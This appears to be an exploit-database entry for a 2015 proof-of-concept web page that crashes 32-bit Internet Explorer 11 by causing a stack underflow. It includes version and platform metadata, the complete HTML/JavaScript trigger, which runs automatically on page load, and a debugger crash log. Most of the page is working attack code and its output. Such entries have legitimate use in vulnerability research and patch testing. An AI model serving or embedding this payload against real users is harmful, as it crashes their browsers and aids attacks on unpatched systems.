Microsoft Internet Explorer 11 Stack Underflow Crash PoC

vendor:

Internet Explorer

by:

Mjx

N/A

CVSS

N/A

Stack Underflow Crash

CWE

Product Name: Internet Explorer

Affected Version From: 11

Affected Version To: 11

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows 7 64bit, Windows 10 64bit

2015

Microsoft Internet Explorer 11 Stack Underflow Crash PoC

This exploit causes a stack underflow crash in Microsoft Internet Explorer 11. The vulnerability affects the 32bit version of IE 11, specifically versions 11.0.9600.17843 and 11.0.10240.16431. It has been tested on Windows 7 64bit and Windows 10 (10240) 64bit. The exploit is triggered by executing the 'crash()' function.

Mitigation:

Unknown

Source

Exploit-DB raw data:

<!--
# Exploit title: Microsoft Internet Explorer 11 Stack Underflow Crash PoC
# Date: 09.11.2015
# Vulnerable version: 11 (32bit version)(newest at the time 11.0.9600.17843 and 11.0.10240.16431)
# Tested on: Windows 7 64bit  and Windows 10(10240) 64bit
# Author: Mjx
# http://http://jinxin.pen.io/ 
-->
<!doctype html>
<html>
	<head>
		<meta http-equiv='Cache-Control' content='no-cache'/>
	
		<title>crash IE 11</title>
		<style></style>
		<script type='text/javascript' ></script>
		<script>
			
			function crash()
			{
				 var id_0 = null;
				 id_0 = document.createElement( 'THEAD' ); 
				 document.body.appendChild( id_0 ); 
				 elemTree = []; 
				 elemTree[0]= document.createElement('SELECT'); 
				 document.all[7].appendChild(elemTree[0]); 
				 elemTree[1]= document.createElement('B'); 
				 document.all[8].appendChild(elemTree[1]); 
				 elemTree[2]= document.createElement('SOURCE'); 
				 document.all[0].appendChild(elemTree[2]); 
				 elemTree[3]= document.createElement('HR'); 
				 document.all[8].appendChild(elemTree[3]); 
              	 elemTree[3].setAttribute('hidden', -4400000000); 
				 elemTree[4]= document.createElement('SELECT'); 
				 document.all[9].appendChild(elemTree[4]); 		
				 elemTree[5]= document.createElement('RUBY'); 
				 document.all[2].appendChild(elemTree[5]); 		
				 elemTree[6]= document.createElement('OL'); 
				 document.all[4].appendChild(elemTree[6]); 		
				 elemTree[7]= document.createElement('AREA'); 
				 document.all[6].appendChild(elemTree[7]); 			    
				 elemTree[8]= document.createElement('ARTICLE'); 
				 document.all[3].appendChild(elemTree[8]); 
				 elemTree[9]= document.createElement('TEXTAREA'); 
				 document.all[1].appendChild(elemTree[9]); 
			     txtRange = document.body.createTextRange(); 
				 txtRange.moveEnd('character', 14); 
				 txtRange.select(); 
				 txtRange.execCommand('insertUnorderedList',true,null); 			
				 txtRange = document.body.createTextRange(); 
				 txtRange.moveEnd('sentence', 4); 
				 txtRange.select(); 
				 txtRange.execCommand('insertOrderedList',true,null); 
			
			}
		</script>
	</head>
	<body onload='crash();'>
		
	</body>
</html>

<!--
(1428.1230): Stack overflow - code c00000fd (!!! second chance !!!)
eax=00000004 ebx=000f0000 ecx=09ab319c edx=00000004 esi=47ce6fd8 edi=00000000
eip=5fd166d9 esp=09ab3000 ebp=09ab3004 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
verifier!AVrfpDphAllocateVm+0x9:
5fd166d9 50              push    eax
0:008> kb
ChildEBP RetAddr  Args to Child              
09ab3004 5fd16800 09ab319c 09ab31a0 00001000 verifier!AVrfpDphAllocateVm+0x9
09ab3184 5fd16a8d 09ab319c 09ab31a0 00000004 verifier!DphCommitMemoryForPageHeap+0xf0
09ab31ac 5fd18e5d 000f1000 47de0068 00000000 verifier!AVrfpDphSetProtectionsBeforeUse+0x8d
09ab31dc 77cf0d96 000f0000 01000002 00000028 verifier!AVrfDebugPageHeapAllocate+0x1fd
0:008> r
eax=00000004 ebx=000f0000 ecx=09ab319c edx=00000004 esi=47ce6fd8 edi=00000000
eip=5fd166d9 esp=09ab3000 ebp=09ab3004 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
verifier!AVrfpDphAllocateVm+0x9:
5fd166d9 50              push    eax
0:008> !vprot esp-4
BaseAddress:       09ab2000
AllocationBase:    09ab0000
AllocationProtect: 00000004  PAGE_READWRITE
RegionSize:        001fe000
State:             00001000  MEM_COMMIT
Protect:           00000004  PAGE_READWRITE
Type:              00020000  MEM_PRIVATE


-->